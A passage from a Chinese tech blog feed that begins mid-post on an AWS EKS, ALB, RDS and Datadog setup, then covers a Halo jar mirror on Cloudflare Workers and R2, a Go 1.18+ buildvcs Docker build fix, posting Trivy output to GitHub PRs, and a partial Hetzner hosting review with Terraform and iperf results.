    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/target-type: ip
    alb.ingress.kubernetes.io/healthcheck-path: /healthz
spec:
  ingressClassName: alb
  rules:
    - http:
        paths:
        - path: /
          pathType: Prefix
          backend:
            service:
              name: novaapp-mini-service
              port:
                number: 80

这个时候我们已经可以通过访问 ALB 的地址来直接访问我们的应用了,但是,没有 SSL 怎么行?而且最终我们需要做一个 CNAME 解析到这个地址上,用我们自己的域名来 Serve 整个 App。

所以这里我们需要先到 AWS 的 ACM 打一局 ACM/ICPC上弄一个 SSL 证书:

此时你可以获得一个 ARN,比如我这里是 arn:aws:acm:ap-southeast-1:111122223333:certificate/b9480e8e-c0e6-4cec-9ac4-38715ad35888,等证书验证通过了之后我们把 ALB 的配置修改一下,修改成如下样子:

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  namespace: novaapp
  name: ingress-novaapp
  annotations:
    alb.ingress.kubernetes.io/scheme: internet-facing
    alb.ingress.kubernetes.io/target-type: ip
    alb.ingress.kubernetes.io/healthcheck-path: /healthz
    alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
    alb.ingress.kubernetes.io/certificate-arn: arn:aws:acm:us-east-1:111122223333:certificate/b9480e8e-c0e6-4cec-9ac4-38715ad35888
spec:
  ingressClassName: alb
  rules:
    - http:
        paths:
        - path: /
          pathType: Prefix
          backend:
            service:
              name: novaapp-mini-service
              port:
                number: 80

然后给 Apply 到集群中即可~这个时候我们看 Load Balancer 页面应该已经可以看到正常显示了 80,443 端口,且证书已经正确配置了:

这个时候我们去 Cloudflare 上弄个 CNAME 记录解析到这个地址上,并开启 Cloudflare 的 Proxy,就成了~

RDS & Peering

创建 RDS 的过程非常简单,我们可以直接在 RDS 控制面板上创建即可,创建完成之后我们需要在它的 Security Group 中允许一下来自 eksctl 搞出来的 subnet 的流量:

下一步我们需要把这两个段给 Peer 到一起,不然容器下方的 EC2 会连接不上 RDS

我们创建一个 VPC Peer ,并把这两个 VPC 先 Peer 到一起。

创建完之后记得点一下 Accept Peer。

Peer 成功之后就需要在两边通报对方路由,在 Default VPC 上通报一下 EKS 那个 VPC 的段:

反之在 EKS 的那堆 Route tables 上通报一下 Default VPC 的段:

此时,你的应用应该就可以正常连接到 RDS 使用了~

Monitoring && Logging

人生苦短,别自己折腾了监控组件了,这里直接 Datadog 的栈就好了,可以参考: Install the Datadog Agent on Kubernetes, 要安装只要以下三步:

helm repo add datadog https://helm.datadoghq.com
helm install my-datadog-operator datadog/datadog-operator
kubectl create secret generic datadog-secret --from-literal api-key=<DATADOG_API_KEY> --from-literal app-key=<DATADOG_APP_KEY>

弄个配置文件,比如 datadog-agent.yaml, 内容如下:

apiVersion: datadoghq.com/v1alpha1
kind: DatadogAgent
metadata:
  name: datadog
spec:
  credentials:
    apiSecret:
      secretName: datadog-secret
      keyName: api-key
    appSecret:
      secretName: datadog-secret
      keyName: app-key
  agent:
    image:
      name: "gcr.io/datadoghq/agent:latest"
  clusterAgent:
    image:
      name: "gcr.io/datadoghq/cluster-agent:latest"

然后: kubectl apply -f /path/to/your/datadog-agent.yaml 就齐活了~

以上,我们的应用就已经跑起来了,如果需要给容器换镜像的话暂时可以本地改 Deployment 文件之后 kubectl apply 一把梭,后续还有 CI/CD,监控和报警相关的内容由于本文篇幅限制(加上我也还在学习中),就暂时不在本文中涵盖了~

时刻谨记这个 AWS 平台,资源不用了及时删除,祝大家玩的开心!

References

  1. The Architecture Behind A One-Person Tech Startup
  2. eksctl - The official CLI for Amazon EKS
  3. Creating or updating a kubeconfig file for an Amazon EKS cluster
  4. Installing the AWS Load Balancer Controller add-on
]]>
Halo 官方镜像源在 Serverless(Cloudflare Workers + R2) 上的实践https://nova.moe/halo-mirror-serverless/Sun, 13 Nov 2022 20:33:33 +0800https://nova.moe/halo-mirror-serverless/一转眼两年过去了,在两年前的实践中,我利用 Cloudflare 的 Serverless 平台——Workers 做出了两个小玩具 「knatnetwork/g2fs-serverless」和「knatnetwork/g2ww-serverless」,分别可以将 Grafana 的报警信息推送到飞书和企业微信上,解决了当时在 PingCAP 内部使用对应聊天工具时没法很方便收到来自 Grafana 报警的问题。

去年,Cloudflare 发布了一个新的产品——R2,Announcing Cloudflare R2 Storage: Rapid and Reliable Object Storage, minus the egress fees,一个 S3 兼容的对象存储,同时提供了 Workers 的支持,苦于那段时间一直在和公司内的 Jenkins 和 Kubectl 做斗争,没有太多时间来实践,从 PingCAP 离开后正好有些闲暇的时间开着自己的车在赛道上划船,赛道之余便开始思考 Cloudflare 的这么些个产品在我自己这边的实际应用场景。

也许大家都知道, 我有一辆十代两厢手动思域, 我运行着 Halo 的官方镜像源,这个镜像源的主要功能为提供一个在 GitHub Release 之外的一个相对稳定的 Halo Jar 包下载地,作为镜像站,它需要满足以下几个功能:

  • Jar 包需要和上游(这里是 GitHub Releases)尽量保持同步
  • 存储地不能和上游一样(比如这里不能是个 GitHub 的反代)
  • 尽量减少开销(减少被刷爆的概率)

在之前我是这么做的:在自己的集群中找了一些机器和存储空间,并部署了一个自动同步 Jar 包的脚本,用 crontab 定期运行(一小时一次),这样能保证本地文件系统的文件和 GitHub Releases 上保持尽可能一致,有了本地文件系统之后接下来只需要一个 Nginx 的 autoindex ,然后设置好 Load balancer,就可以做到类似这样的效果,并且保证一定的可用性。

做运维和建站固然是个很开心的事情,MJJ 们可能也是这么想的,但是一旦自己手上需要维护的服务多了起来,且都需要保证一定的可用性的时候,我们便不能像大学的时候一样一个个给自己的服务器取名字,然后一点点手动编写配置文件并一顿微操了。应该在条件许可的情况下能用 Managed 就用 Managed,锅能丢给服务商就丢给服务商,在这里也是如此,为了保证可用性和 Cloudflare 一致,我打算利用 Workers 和 R2 改造一下这个项目,一来减少自己维护(带来的心理)压力,二来可以以此为契机学习一下 Cloudflare 的这一套 Serverless 理论。

让我们开始吧!

Why Cloudflare as CDN

主要原因是考虑到免费,不怎么容易被花钱,虽然国内有些城市访问的速度可能不怎么好,但是只要自己的域名没有用来做些什么很奇怪的事情的话,还是不会被因为墙 IP 等被彻底搞没的,至于为啥不容易被墙 IP,容我引用一段话:

if your ip and port are marked for tls tunnel proxy behavior, at ordinary times they are used to test a set of tools that automatically blocking obfuscating/encrypted inner tls fingerprint packets, are used to test blocking tls in tls packets without affects normal website access, such as cloudflare, akamai, azure cdn.

just because of some things, this plan was disrupted.

HyeonSeungri@https://github.com/net4people/bbs/issues/129

Jar downloading

在前文中我们知道,要做到和上游同步并保证存储地不一样,这里我们直接使用 Cloudflare R2 作为存储,但是由于要尽量摆脱对于人工/自己机器的介入,我们并不考虑通过 CLI 或者 SDK 的方式访问 R2 并修改内容,而是使用 Workers 来完成这个操作,那么在这里,我们需要做的操作就是用 Worker 下载 Jar 包并保存到 R2 中的对应位置。

R2

R2 的存储相对来说比 S3 便宜,价格如下:

Free Paid - Rates
Storage 10 GB / month $0.015 / GB-month
Class A Operations 1 million requests / month $4.50 / million requests
Class B Operations 10 million requests / month $0.36 / million requests

其中 A 类操作是指 ListBuckets, PutBucket, ListObjects, PutObject, CopyObject, CompleteMultipartUpload, CreateMultipartUpload, ListMultipartUploads, UploadPart, UploadPartCopy and PutBucketEncryption. 这些和写更多相关的操作

B 类操作是指 HeadBucket, HeadObject, GetObject, UsageSummary, GetBucketEncryption and GetBucketLocation. 这类看上去比较只读的操作

截止本文编写时,Halo 众多 Jar 包的存储空间没有超过 6G,所以存储的部分是绝对不会超过 Free 的限额,并且只要在设置好合适的 Rate limit 的情况下,Class B 操作应该也不会太容易超过免费的限制。

(如果真玩超了那 Ryan Wang 的钱包上估计会出现个大洞…

虽然 Cloudflare 声称 R2 是个 Global object storage,但是肯定它的文件是存在于某个数据中心中的(而不像 Bunny CDN 可能会在你选定的 Region 中自动 Replicate),为了确认文件具体是存放在哪儿的,可以通过 https://tools.keycdn.com/performance 这个工具来推测,比如后文中部署好了这一套之后我们请求一个文件,通过观察 TTFB 的方式来尝试推断文件的实际位置:

我们可以观测到 TTFB 时间中新加坡的是最小的,这里猜测是由于我创建 R2 的时候来源 IP 是新加坡,所以 R2 的实际存储就创建在了一个靠近新加坡的位置,这一点在 https://community.cloudflare.com/t/cloudflare-r2-doesnt-distribute-files/400666 这个帖子上也有类似的影子。

Workers

虽然我们在 Workers 的 Pricing 页面看到 Worker 的限制是 Up to 10ms CPU time per request,但是从个人实践的角度来看,Worker 的每个 request 至少能运行 1 分钟以上,这就给了我们下载文件并保存的机会,只需要在 wrangler.toml 中配置好 binding:

r2_buckets = [
  { binding = "dl_halo_run", bucket_name = "dl-halo-run", preview_bucket_name = "" }
]

然后只要两行,我们便可以利用 Worker 下载文件并放到 R2 中的对应位置,fetch 用来下载文件,env.BUCKET_NAME.put 用来把下载下来的内容存到 R2 中,代码如下:

const response = await fetch(download_url);
await env.dl_halo_run.put(download_filname, response.body);

是不是看上去很简单?在明白了核心的部分之后接下来只需要一些简单的业务逻辑,比如判断需要下载的文件名,判断是否已经存储在 R2 中等等便可完成下载部分的处理,样例代码如下

let download_filname = ""
if (filename.includes('beta') || filename.includes('alpha')) {
  download_filname = "prerelease/" + filename;
} else {
  download_filname = "release/" + filename;
}

// Check if exist in R2
console.log("Checking if exist in R2");
const check_file = await env.dl_halo_run.get(download_filname);
console.log("Check file", check_file);
if (!check_file) {
  console.log('Downloading file' + filename);
  const response = await fetch(download_url);
  await env.dl_halo_run.put(download_filname, response.body);
} else{
  console.log('File already exist in R2 ' + filename);
}

由于我们需要定期查询 GitHub 上的情况,所以这里的函数需要写在:

async scheduled(event, env, ctx) {
}

内部,并在 wrangler.toml 中配置一个 cron 来执行:

[triggers]
crons = ["0 */1 * * *"]

至此,我们的下载逻辑已经全部完成,Cloudflare Workers 会每小时执行一遍 scheduled 函数中的操作并下载所需要的 jar 文件了,此时你的 R2 看上去应该类似这样:

File Listing API

现在我们已经有了稳定的存储和定期的下载同步了,作为一个镜像站,我们肯定需要对外提供展示页面,单纯给 R2 绑定个域名用于下载看上去没有问题,但是没有 Listing 的能力的话会让用户没法知道镜像站上有啥内容,所以这里我们需要做一个简单的 API 对外展示内容,而这个部分就更加简单了,我们继续修改上面的 Workers 中的文件,只不过这次是写在:

async fetch(request, env, ctx) {
}

函数内,编写逻辑如下:

  • 如果访问的 URI 是 /api 的话,就输出 R2 中的所有内容(的 JSON 格式)
  • 此外的所有请求就尝试通过 URI 作为 Key 去 R2 中取文件

代码样例如下:

对于访问的 URI 是 /api 的请求:

// Check if vising /api, list all the files
if (uri == "api") {
  const listed = await env.dl_halo_run.list(options);

  const listed_objects = listed['objects'];
  for (const listed_object of listed_objects) {
    delete listed_object.customMetadata;
    delete listed_object.httpMetadata;
    delete listed_object.version;
    delete listed_object.httpEtag;
    delete listed_object.etag;
  }

  return new Response(JSON.stringify(listed_objects), {
    headers: {
      'content-type': 'application/json; charset=UTF-8',
    }
  });
} 

此外的所有请求:

const file = await env.dl_halo_run.get(objectName);
if (!file) {
  return new Response('File not found', { status: 404 })
}
const headers = new Headers()
file.writeHttpMetadata(headers)
headers.set('etag', file.httpEtag)
return new Response(file.body, {
  headers
})

是不是很容易? 此时访问对应的 /api 接口就能看到类似如下的返回结果:

[
  {
    "uploaded": "2022-11-13T06:34:09.717Z",
    "checksums": {
      "md5": "10e25e056c2bea90a9386e27a9450bfb"
    },
    "size": 61,
    "key": "config/Caddyfile2.x"
  },
...
  {
    "uploaded": "2022-11-13T07:05:29.984Z",
    "checksums": {
      "md5": "44f8a1a6821dbfe69d3577c451862bac"
    },
    "size": 79495690,
    "key": "release/halo-v1.4.14.jar"
  }
]

并且 URI 改为 key 中对应的路径也可以正常下载对应的文件了。

以上完整代码被我放到了 halo-sigs/halo-dl-api,各位如果有兴趣的话可以 一键三联(Star,Fork,Watch) 来围观下。

Ratelimit

这里我们为了减少一些潜在的恶意流量,我们可以加一点 Ratelimit 在这里,今年 Cloudflare 宣布了对于所有 Plan 都有 Unmetered Rate limiting: Back in 2017 we gave you Unmetered DDoS Mitigation, here’s a birthday gift: Unmetered Rate Limiting 之后,免费用户可以针对 Path 来做一点 Ratelimit 了,设置为「对于一个 IP 而言 10 秒钟访问了超过 20 次就自动 429」 ,类似如下:

File Frontend

现在就到了整个旅程的最后一步——提供一个活人能看的页面了,由于前端方面我是几乎一窍不通,所以这里只好暂时用了一下 NextJS 的快速开始模板并加入一些魔改,在和 ESLint 以及 next 做了许多斗争,期间不厌其烦地打扰 @tukideng 询问各种奇葩问题并被白眼数次之后,往 Cloudflare Pages 上一挂,用 nextbuild,嘿,就出现了这么个神奇的页面。

网址: https://download.halo.run/ 看上去像是能用的,不是嘛?

Speedtest

最后我们来随意测个速吧,测速的机器为 Hetzner 德国的机器,分别下载以下两个地址:

速度分别如下:

wget https://github.com/halo-dev/halo/releases/download/v1.6.0/halo-1.6.0.jar
--2022-11-14 08:31:07--  https://github.com/halo-dev/halo/releases/download/v1.6.0/halo-1.6.0.jar
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/126178683/8ee886dc-48a4-47ce-a096-47871737d506?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20221114%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20221114T003107Z&X-Amz-Expires=300&X-Amz-Signature=60fa40ea63def87878b9f8c499f12bdcc7b41775b394b78d3e436b8df8963ef9&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=126178683&response-content-disposition=attachment%3B%20filename%3Dhalo-1.6.0.jar&response-content-type=application%2Foctet-stream [following]
--2022-11-14 08:31:07--  https://objects.githubusercontent.com/github-production-release-asset-2e65be/126178683/8ee886dc-48a4-47ce-a096-47871737d506?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20221114%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20221114T003107Z&X-Amz-Expires=300&X-Amz-Signature=60fa40ea63def87878b9f8c499f12bdcc7b41775b394b78d3e436b8df8963ef9&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=126178683&response-content-disposition=attachment%3B%20filename%3Dhalo-1.6.0.jar&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 96866731 (92M) [application/octet-stream]
Saving to: ‘halo-1.6.0.jar’

halo-1.6.0.jar             100%[=====================================>]  92.38M  23.3MB/s    in 4.1s    

2022-11-14 08:31:12 (22.3 MB/s) - ‘halo-1.6.0.jar’ saved [96866731/96866731]
wget https://dl-r2.halo.run/release/halo-1.6.0.jar 
--2022-11-14 08:32:02--  https://dl-r2.halo.run/release/halo-1.6.0.jar
Resolving dl-r2.halo.run (dl-r2.halo.run)... 2a06:98c1:3121::3, 2a06:98c1:3120::3, 188.114.96.3, ...
Connecting to dl-r2.halo.run (dl-r2.halo.run)|2a06:98c1:3121::3|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 96866731 (92M) [application/zip]
Saving to: ‘halo-1.6.0.jar’

halo-1.6.0.jar             100%[=====================================>]  92.38M  27.6MB/s    in 3.4s    

2022-11-14 08:32:07 (27.6 MB/s) - ‘halo-1.6.0.jar’ saved [96866731/96866731]

以上,希望能给耐心看到这里的你带来一些新的灵感~

References

  1. Announcing Cloudflare R2 Storage: Rapid and Reliable Object Storage, minus the egress fees
  2. Limits · Cloudflare Workers docs
  3. How to disable ESLint for some lines, files or folders
]]>
解决 Golang 升级到 1.18+ 版本后在容器中构建时出现 error obtaining VCS status: exit status 128 的问题https://nova.moe/solve-go-buildvcs/Fri, 12 Aug 2022 00:00:00 +0800https://nova.moe/solve-go-buildvcs/Intro

Golang 是个特别神奇的语言,他的语法不是很复杂,而且编译出来的程序是个 Binary,不需要安装什么额外的 runtime 就可以跑,如果要写一个 Hello World 之类的小程序只要跟着教程就可以快速写出来,如果要写点稍微复杂的 Web 应用,只要找个 Web 框架,比如 Gin,Fiber 之类的也可以有着和 ExpressJS 类似的体验,你看像我这种几乎不会写代码的人也可以在 BennyThink 大佬和 GitHub Copilot 以及一众 Stackoverflow 回答的参考和辅助下写出 WebP Server Go 这样的 Web 程序。

当然,Go 也有许多匪夷所思的点,比如他没有类似 pypi,npm 之类的中心化包管理平台,所有人写 Golang 的程序都是 import 了一堆 github.com 上面的东西,比如:

import (
	"fmt"
	"math"
	"regexp"
	"strconv"
	"unicode"

	"github.com/pingcap/errors"
	"github.com/pingcap/tidb/parser/ast"
	"github.com/pingcap/tidb/parser/auth"
	"github.com/pingcap/tidb/parser/charset"
	"github.com/pingcap/tidb/parser/mysql"
	"github.com/pingcap/tidb/parser/terror"
	"github.com/pingcap/tidb/parser/types"
)

等哪天 GitHub 无了还真不知道怎么去 import 这些包,此外还有 GOPATH 等问题导致看到很多人把自己的所有 Go 项目都放在 /home/User/go/ 下面进行开发,非常莫名奇妙。

WebP Server Go Upgrade

由于 Go 1.17 版本已经 EOL,我们对 WebP Server Go 的构建版本进行升级,由于 Golang 升级一般来说就是换一个镜像的事情,所以我们将构建的镜像从:

FROM golang:1.17.4-alpine as builder

换为了

FROM golang:1.19.0-alpine as builder

非常简单,然后很快,CI 就告诉我们镜像构建就不成功了(这种事件在某些公司内部就会有人大喊:「CI 挂了,@xxx 看看」):

https://github.com/webp-sh/webp_server_go/runs/7784058473?check_suite_focus=true

#14 [builder 6/6] RUN cd /build && sed -i "s|.\/pics|/opt/pics|g" config.json      && sed -i "s|""|"/opt/exhaust"|g" config.json      && sed -i 's/127.0.0.1/0.0.0.0/g' config.json      && go build -ldflags="-s -w" -o webp-server .
#14 0.395 error obtaining VCS status: exit status 128
#14 0.395 	Use -buildvcs=false to disable VCS stamping.
#14 ERROR: process "/bin/sh -c cd /build && sed -i \"s|.\\/pics|${IMG_PATH}|g\" config.json      && sed -i \"s|\\\"\\\"|\\\"${EXHAUST_PATH}\\\"|g\" config.json      && sed -i 's/127.0.0.1/0.0.0.0/g' config.json      && go build -ldflags=\"-s -w\" -o webp-server ." did not complete successfully: exit code: 1

用中文搜了一下,CSDN 告诉我两个选项:

所幸后者除了技术可能有点不太熟练以外解决方式还算靠谱,让我们来看看这个东西到底是什么吧.

Go 1.18 的 Release Note 中会发现有这么一段话:

The go command now embeds version control information in binaries. It includes the currently checked-out revision, commit time, and a flag indicating whether edited or untracked files are present. Version control information is embedded if the go command is invoked in a directory within a Git, Mercurial, Fossil, or Bazaar repository, and the main package and its containing main module are in the same repository. This information may be omitted using the flag -buildvcs=false.

可以看到从 Go 1.18 开始 Go 自带了 Version control ,这就导致如果你是在一个 Git 目录下,且这个目录有一个坏掉的 .git 目录的情况下用 go build 之类的操作的话,就会遇到以上的问题,但为什么会有一个坏掉的 .git 目录在构建环境中呢?

这得从某人加入了 .dockerignore 文件开始说起,由于技艺不精,一开始我们的 .dockerignore 里面是写成了 .git/*,导致这个目录本身上并没有被 Ignore 掉(而且这种问题在不出错的时候真的很难看出来,毕竟谁会构建镜像的时候去 Dockerfile 里面加一句 ls -a 看看到底传进去了什么东西呢,不看不知道,一看发现大家基本都在里面:

#0 0.071 .                                                                                                                                                     
#0 0.071 ..                                                                                                                                                    
#0 0.071 .dockerignore                                                                                                                                         
#0 0.071 .git
#0 0.071 .github
#0 0.071 .gitignore
#0 0.071 .idea
#0 0.071 Dockerfile
#0 0.071 builds
#0 0.071 config.go
#0 0.071 config.json
#0 0.071 coverage.txt
#0 0.071 encoder.go
#0 0.071 encoder_test.go
#0 0.071 exhaust
#0 0.071 go.mod
#0 0.071 go.sum
#0 0.071 helper.go
#0 0.071 helper_test.go
#0 0.071 pics
#0 0.071 prefetch.go
#0 0.071 prefetch_test.go
#0 0.071 remote-raw
#0 0.071 router.go
#0 0.071 router_test.go
#0 0.071 scripts
#0 0.071 update.go
#0 0.071 update_test.go
#0 0.071 webp-server.go
#0 0.071 webp-server_test.go
#0 0.161 error obtaining VCS status: exit status 128
#0 0.161        Use -buildvcs=false to disable VCS stamping.
------

由于写的是 .git/*,所以构建环境中会有个空的 .git 目录,如果在 Dockerfile 中加入一个 git status 的话可以看到:

 > [builder 6/7] RUN cd /build && git status:
#0 0.078 fatal: not a git repository (or any of the parent directories): .git

所以这里就导致了上面的报错。

知道了怎么回事我们就可以针对性地解决这个问题了,如果你和我们一样在容器中构建应用的话,可以:

  • 直接在 .dockerignore 中加入一行:

    .git
    

    来让 Docker 构建的时候直接不复制 .git 目录到构建环境中。

  • 或者也可以丑一点,在 Dockerfile 中加入一行 rm -rf .git,当然,这样就有点诡异了,如果本地 .git 目录太大的话, COPY . 这类操作会非常的卡

  • 或者你也可以把 Go 版本降级到 1.18 以下

如果你是在容器以外的地方构建应用,且你的 Git 仓库有问题(无论是权限问题还是啥)的话,在构建参数中加入一个 -buildvcs=false 即可。

Epilogue

我们遇到的问题是由两个问题构成的:

  1. .dockerignore 文件一开始就没写对
  2. 升级的时候没有完整阅读 release note,而是想当然地改了镜像版本进行构建(当然这个 -buildvcs 默认开启也有点奇怪)

坏处是阻塞了一会我们的开发,好处是帮我们发现了一个之前一直没注意到的问题,可能这就是 “工业级语言” 吧。

修完这个问题之后,我们又开始和 Golang 官方库解析图片时的报错去斗争了,谁能想到一个语言要解析一个图片还得 os.Open() 之后 png.Decode() 来操作,而且还会报 invalid format: invalid checksumcorrupted: invalid JPEG format: missing 0xff00 sequence 这种错呢?可以参考: https://github.com/webp-sh/webp_server_go/issues/137.

]]>
将 GitHub Actions 的 Step 输出评论到对应 PR 上https://nova.moe/print-github-action-output-to-pr/Sat, 02 Jul 2022 14:00:00 +0800https://nova.moe/print-github-action-output-to-pr/

这个只是一个简单的记录和分享,没啥技术含量

在 CI 中我们会大量使用 GitHub Actions “作为质量门进行把关”,一般在 PR 中我们会设置 PR 必须跑过测试才能点 Merge,我们的 GitHub Actions Workflow 一般会这么写:

on:
  pull_request:
    branches:
      - master

然后我们就可以通过 CI 是否通过来判断是否可以考虑合并 PR,但是要手动点开看日志有的时候也太烦了,所以就有了类似 GitOps (注意,这里并不是 GitOps)的玩法,直接把某个步骤的结果输出到对应的 PR 评论上,例如,最近挺火的 Infracost,只要这样写:

- name: Terraform plan
  run: terraform plan -out tfplan.binary
  working-directory: ${{ env.working-directory }}

- name: Terraform show
  run: terraform show -json tfplan.binary > plan.json
  working-directory: ${{ env.working-directory }}

- name: Setup Infracost
  uses: infracost/actions/setup@v1
  with:
    api-key: ${{ secrets.INFRACOST_API_KEY }}

- name: Generate Infracost JSON
  run: infracost breakdown --path plan.json --format json --out-file /tmp/infracost.json
  working-directory: ${{ env.working-directory }}

- name: Post Infracost comment
  run: |
    infracost comment github --path /tmp/infracost.json \
                              --repo $GITHUB_REPOSITORY \
                              --github-token ${{github.token}} \
                              --pull-request ${{github.event.pull_request.number}} \
                              --behavior update    

就可以配合 Terraform 在每次 PR 中修改了一些基础设施之后评论 PR 分别告诉我们这个 PR 会修改哪些基础设施,同时告诉我们这么修改了之后会对费用有什么影响:

非常的直观,这样在每个 PR 的时候所有开发人员都可以知道这么个 PR 到底会不会给自己钱包开个窟窿了。

但是有的时候我们希望一些别的内容也可以有类似的输出该怎么操作呢?

一般来说网上会建议我们按照:

echo ::set-output name=docker_tag::$(echo ${GITHUB_REF} | cut -d'/' -f3)-${GITHUB_SHA}

类似这种蛇形走位的方式在某个 Step 中设置一个 output ,然后在后续 Step 中通过 ${{ steps.vars.outputs.docker_tag }} 这种方式来获取。

(然而很多场景下这个方法得到的 outputs 都是空的,非常诡异)

这里简单记录一个可用的例子,希望可以帮到和我一样不想蛇形走位且希望简单方便的用法,例子如下:

- name: Scan for CVE
  uses: mathiasvr/command-output@v1
  id: trivy
  with:
    run: |
            trivy image --no-progress --severity "HIGH,CRITICAL" ghcr.io/${{ steps.ghcr_string.outputs.lowercase }}

- name: Comment PR
  uses: thollander/actions-comment-pull-request@v1
  with:
    message: |
      ```
      ${{ steps.trivy.outputs.stdout }}
      ```      
    GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

将自己需要执行的所有指令放在 mathiasvr/command-output@v1 下,并设置一个 id,这样所有的输出结果都会被重定向到 stdout 中,在后续步骤中就可以使用 ${{ steps.<step_id>.outputs.stdout }} 这种方式直接获取到了,同时使用 thollander/actions-comment-pull-request@v1 方法打印到对应的 PR 中,这里的例子是使用 trivy 这个工具对每次 PR 构建的镜像进行安全扫描,并自动把扫描结果打印到 PR 记录中,对应的实际案例可以看这个 PR: Print all CVE results to PR comment by n0vad3v · Pull Request #130 · webp-sh/webp_server_go

是不是很方便,比去买什么国字头 XX 安全公司的 Java 编写的 XX 安全产品是不是看上去正经多了?

Have Fun,以上。

]]>
16C32G 一个月不到 50 欧元的服务商——Hetzner 简评https://nova.moe/hetzner-review/Sat, 02 Jul 2022 11:00:00 +0800https://nova.moe/hetzner-review/几个月之前和 Plausible Analytics 的 CEO 聊了聊之后发现了 Hetzner 这么个服务商,经过一段时间的尝试之后发现体验真心不错并逐渐将自己的基础设施迁移到了 Hetzner 上,目前使用了快半年了,借此做一个小小的简评。

Hetzner Online GmbH is a company and data center operator based in Gunzenhausen, Germany.

Hetzner 是个德国的服务商,拥有自己的 Server Parks( https://www.hetzner.com/unternehmen/rechenzentrum ),据我个人观察,在 LocalBitcoins 切换到 Sendgrid 之前也是使用的 Hetzner 的机器来发的邮件。

对于我个人而言,Hetzner 最吸引我的地方在于以下几点。

较为友好的 Terraform Provider

由于我大量使用 Terraform 来管理自己的基础设施, Hetzner 的整体逻辑有点像 DigitalOcean,不像 AWS 有太多关于 VPC,Subnet,SG 的复杂配置,对于一个比较简单的项目而言,要创建对应的内网段,内网 IP,和机器来说的话, Terraform 文件基本类似如下简单:

机器配置,设置一个稳定的内网 IP:

resource "hcloud_server" "app_server" {
  name        = "app_server"
  image       = var.os_type
  server_type = "cpx21"
  location    = "fsn1"
  ssh_keys    = [hcloud_ssh_key.default.id]
  labels = {
    "clickhouse" = "true"
  }
  backups = true
  delete_protection = true
  rebuild_protection = true

  firewall_ids = [hcloud_firewall.server_firewall.id]
}

resource "hcloud_server_network" "app_network" {
  server_id = hcloud_server.app_server.id
  network_id = hcloud_network.nova_private.id
  ip = "10.1.0.10"
}

网络段的设置:

resource "hcloud_network" "app_private" {
  name     = "app_private"
  ip_range = var.ip_range
}

resource "hcloud_network_subnet" "app_private_subnet" {
  network_id   = hcloud_network.app_private.id
  type         = "cloud"
  network_zone = "eu-central"
  ip_range     = var.ip_range
}

默认 SSH :

resource "hcloud_ssh_key" "default" {
  name       = "app_pem_key"
  public_key = file("~/.ssh/new_id_rsa.pub")
}

不过没法通过 Terraform 来升级机器配置(这点感觉不如 AWS),升级机器需要手动关闭机器后登录到 Web 管理页面点击升级。

内网互通

Yes, you can connect instances from our locations in Falkenstein, Nuremberg and Helsinki to the same network

只要在一个内网下,Hetzner 的欧洲三个可用区之间是内网互通的,而且之间的流量是免费的,比如从芬兰到德国的延迟是这样的:

root@ubuntu-2gb-hel1-1:~# ping 10.0.0.3
PING 10.0.0.3 (10.0.0.3) 56(84) bytes of data.
64 bytes from 10.0.0.3: icmp_seq=1 ttl=63 time=25.5 ms
64 bytes from 10.0.0.3: icmp_seq=2 ttl=63 time=23.9 ms
64 bytes from 10.0.0.3: icmp_seq=3 ttl=63 time=24.1 ms
64 bytes from 10.0.0.3: icmp_seq=4 ttl=63 time=23.9 ms
64 bytes from 10.0.0.3: icmp_seq=5 ttl=63 time=23.9 ms
64 bytes from 10.0.0.3: icmp_seq=6 ttl=63 time=23.9 ms

测速结果如下:

root@ubuntu-2gb-hel1-1:~# iperf3 -c 10.0.0.3
Connecting to host 10.0.0.3, port 5201
[  5] local 10.0.0.2 port 40820 connected to 10.0.0.3 port 5201
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  88.6 MBytes   743 Mbits/sec  265   3.99 MBytes       
[  5]   1.00-2.00   sec   115 MBytes   965 Mbits/sec    0   3.99 MBytes       
[  5]   2.00-3.00   sec   115 MBytes   965 Mbits/sec    0   3.99 MBytes       
[  5]   3.00-4.00   sec   119 MBytes   996 Mbits/sec    0   3.99 MBytes       
[  5]   4.00-5.00   sec   116 MBytes   975 Mbits/sec    0   3.99 MBytes       
[  5]   5.00-6.00   sec   116 MBytes   975 Mbits/sec    0   3.99 MBytes       
[  5]   6.00-7.00   sec   116 MBytes   975 Mbits/sec    0   3.99 MBytes       
[  5]   7.00-8.00   sec   109 MBytes   912 Mbits/sec  271   2.86 MBytes       
[  5]   8.00-9.00   sec   116 MBytes   975 Mbits/sec    0   3.00 MBytes       
[  5]   9.00-10.00  sec  90.0 MBytes   755 Mbits/sec  317   1.51 MBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec  1.08 GBytes   924 Mbits/sec  853             sender
[  5]   0.00-10.02  sec  1.07 GBytes   920 Mbits/sec                  receiver

iperf Done.

root@ubuntu-2gb-hel1-1:~# iperf3 -c 10.0.0.3 -R
Connecting to host 10.0.0.3, port 5201
Reverse mode, remote host 10.0.0.3 is sending
[  5] local 10.0.0.2 port 40824 connected to 10.0.0.3 port 5201
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-1.00   sec  96.1 MBytes   806 Mbits/sec                  
